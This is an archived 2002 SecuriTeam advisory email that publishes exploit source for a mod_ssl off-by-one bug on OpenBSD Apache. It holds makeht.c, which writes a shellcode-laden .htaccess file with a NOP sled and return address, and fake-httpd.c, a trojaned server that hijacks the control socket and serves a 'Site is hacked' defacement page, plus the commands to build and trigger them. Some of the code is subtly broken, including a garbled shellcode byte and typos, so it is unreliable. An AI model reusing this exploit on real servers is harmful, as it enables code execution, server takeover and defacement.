

[EXPL] Mod_SSL Off-By-One Exploit Code (htaccess)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-10/0059.html>

From: support@securiteam.com

Date: 10/15/02

From: support@securiteam.com

To: list@securiteam.com

Date: 15 Oct 2002 04:42:25 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Mod_SSL Off-By-One Exploit Code (htaccess)

SUMMARY

The following exploit code is compromised of two parts, makeht.c program creates an .htaccess file which makes an Apache httpd server execute arbitrary code (In this example the code just replaces httpd server with the new one) and fake-httpd.c which is a Trojaned server (It searches for a control socket and then serves incoming connections).

DETAILS

Exploit:

This toolkit is designed for OpenBSD.

Short usage example:

```
$ cc -o makeht makeht.c
```

```
$ cc -o /tmp/httpd fake-httpd.c
```

```
$ ./makeht -d ~/public_html/crash
```

```
$ lynx http://localhost/~grange/crash
```

```
/*
```

```
* makeht.c
```

```
* mod_ssl off-by-one bug exploitation toolkit.
```

Securiteam: [EXPL] Mod_SSL Off-By-One Exploit Code (htaccess)

```
*
* Use this program to create malicious .htaccess file.
*
* grange / nerF <grange@disorder.ru>
*
*/
```

```
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
```

```
#define DEF_DIR "./"
#define DEF_PROG "/tmp/httpd"
#define DEF_BUFSIZE 3000
#define DEF_NOPLEN 500
#define DEF_RETADDR 0xdfbfb6ac
#define NOP 0xfc
```

```
__dead static void usage(void);
```

```
char execode[] =
"\xeb\x1c\x5e\x89\xf7\x31\xc0\xb0"
"\xcc\xfc\xf2\xae\x31\xc0\x88\x47"
"\xff\x89\x37\x89\x47\x04\x50\x57"
"\x56\xb0\x3b\x50xcd\x80\xe8\xdf"
"\xff\xff\xff";
```

```
char *dir = DEF_DIR;
char *prog = DEF_PROG;
int bufsize = DEF_BUFSIZE;
int noplen = DEF_NOPLEN;
unsigned int retaddr = DEF_RETADDR;
```

```
int
main(argc, argv)
    int argc;
    char *argv[];
{
    int ch;
    char *buf, *off;
    unsigned int *p;
    int fd;
    char *fullcode, *filename;

    while ((ch = getopt(argc, argv, "hd:p:b:n:r:")) != -1)
        switch (ch) {
            case 'd':
                dir = optarg;
```

Securiteam: [EXPL] Mod_SSL Off-By-One Exploit Code (htaccess)

```
    break;
case 'p':
    prog = optarg;
    break;
case 'n':
    noplen = atoi(optarg);
    break;
case 'r':
    retaddr = strtoul(optarg, NULL, 16);
    break;
case 'b':
    bufsize = atoi(optarg);
    break;
case 'h':
case '?':
default:
    usage();
    /* NOTREACHED */
}

if ((fullcode = malloc(strlen(execode) + strlen(prog) + 2)) == NULL)
    err(1, "malloc()");
strcpy(fullcode, execode);
strcat(fullcode, prog);
strcat(fullcode, "\\xcc");

if ((buf = malloc(bufsize)) == NULL)
    err(1, "malloc()");

for (p = (unsigned int *)buf; (char *)p < buf + bufsize; p++)
    *p = retaddr;
memset(buf, NOP, noplen);
memcpy(buf + noplen, fullcode, strlen(fullcode));

if ((filename = malloc(strlen(dir) + strlen("/.htaccess") + 1)) ==
NULL)
    err(1, "malloc()");
strcpy(filename, dir);
strcat(filename, "/.htaccess");
if ((fd = open(filename, O_CREAT | O_TRUNC | O_WRONLY, 0644)) == -1)
    err(1, "open()");
if (write(fd, buf, bufsize) != bufsize)
    err(1, "write()");
close(fd);

return 0;
}

__dead static void
usage()
{
```

Securiteam: [EXPL] Mod_SSL Off-By-One Exploit Code (htaccess)

```
extern char *__progname;

fprintf(stderr, "usage: %s [-h] [-d dir] [-p prog] [-n len] [-r addr] "
    "[-b size]\n", __progname);
fprintf(stderr, "\t-h\tdisplay this message\n");
fprintf(stderr, "\t-d dir\tdirectory to create .htaccess file in "
    "(default \"DEF_DIR\")\n");
fprintf(stderr, "\t-p prog\tprogram to execute (default
\"DEF_PROG\")\n");
fprintf(stderr, "\t-n len\tnumber of NOPs (default %d)\n", DEF_NOPLen);
fprintf(stderr, "\t-r addr\treturn addr (default 0x%x)\n",
DEF_RETADDR);
fprintf(stderr, "\t-b size\tbuffer size (default %d)\n", DEF_BUFSIZE);
exit(1);
}

/*
 * fake-httpd.c
 * mod_ssl off-by-one bug exploitation toolkit.
 *
 * Use this program as a replacement for apache httpd.
 *
 * grange / nerF <grange@disorder.ru>
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/resource.h>

#include <netinet/in.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>

static void send_page(int, char *);

char header[] =
    "HTTP/1.0 200 OK\n"
    "Server: Apache/trojaned\n"
    "Content-Type: text/html\n";
char defpage[] =
    "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n"
    "<html>\n"
    "<head><title>Site is hacked</title></head>\n"
    "<body bgcolor='white'>\n"
    "<center>This site is hacked, sorry...</center>\n"
    "</body>\n"
    "</html>";
```

Securiteam: [EXPL] Mod_SSL Off-By-One Exploit Code (htaccess)

```
int main(int argc, char *argv[])
{
    int nofile, fd;
    struct rlimit rl;
    int ctl_sock, cln_sock;
    struct sockaddr_in sa;
    socklen_t slen;
    pid_t pid;

    if (getrlimit(RLIMIT_NOFILE, &rl) == -1)
        exit(1);
    nofile = rl.rlim_max;

    for (fd = 0; fd < nofile; fd++) {
        if (getsockname(fd, (struct sockaddr *)&sa, &slen) != -1)
            if (getpeername(fd, (struct sockaddr *)&sa,
                &slen) != -1)
                cln_sock = fd;
            else if (errno == ENOTCONN)
                ctl_sock = fd;
            else
                exit(1);
    }

    setproctitle("trojaned");

    send_page(cln_sock, defpage);
    close(cln_sock);

    for (;;) {
        if ((cln_sock = accept(ctl_sock, (struct sockaddr *)&sa,
            &slen)) == -1)
            continue;

        send_page(cln_sock, defpage);
        close(cln_sock);
    }
}

static void
send_page(s, page)
    int s;
    char *page;
{
    char buf[1024], tmp[256];

    strcpy(buf, header);
    sprintf(tmp, "Content-Length: %d\n\n", strlen(page));
    strcat(buf, tmp);
}
```

Securiteam: [EXPL] Mod_SSL Off-By-One Exploit Code (htaccess)

```
send(s, buf, strlen(buf), 0);  
send(s, page, strlen(page), 0);  
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:grange@disorder.ru>
grange/nerF.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- *Previous message:* support@securiteam.com: "[NT] Malformed HOST Header Causes IIS DoS"
 - *Messages sorted by:* [\[date \] \[thread \] \[subject \] \[author \] \[attachment \]](#)